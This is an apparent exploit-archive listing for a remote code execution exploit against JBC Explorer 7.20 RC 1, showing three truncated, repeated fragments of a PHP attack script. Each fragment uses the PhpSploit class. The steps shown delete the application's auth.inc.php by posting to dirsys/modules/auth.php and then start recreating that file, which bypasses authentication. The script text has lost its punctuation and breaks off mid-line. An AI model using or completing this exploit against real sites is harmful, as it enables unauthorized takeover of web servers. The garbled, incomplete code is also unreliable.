JBC Explorer <= V7.20 RC 1 Remote Code Execution Exploit

!/usr/bin/php ?php This file require the PhpSploit class. If you want to use this class, the latest version can be downloaded from acid-root.new.fr. errorreportingEALL ^ ENOTICE; require'phpsploitclass.php'; head; if$argc 3 usage; $url = getparam'url', true; $prx = getparam'proxy', false; $pra =...

JBC Explorer 7.20 RC 1 - Remote Code Execution

JBC Explorer 7.20 RC 1 - Remote Code Execution !/usr/bin/php agent'Mozilla Firefox'; $xpl-allowredirection1; $xpl-cookiejar1; if$prx $xpl-proxy$prx; if$pra $xpl-proxyauth$pra; print "0x01Deleting the file auth.inc.php"; $xpl-post$url.'dirsys/modules/auth.php', 'suppr=1'; print "\n0x02Creating the...

JBC Explorer 7.20 RC 1 - Remote Code Execution

!/usr/bin/php agent'Mozilla Firefox'; $xpl-allowredirection1; $xpl-cookiejar1; if$prx $xpl-proxy$prx; if$pra $xpl-proxyauth$pra; print "0x01Deleting the file auth.inc.php"; $xpl-post$url.'dirsys/modules/auth.php', 'suppr=1'; print "\n0x02Creating the file auth.inc.php";...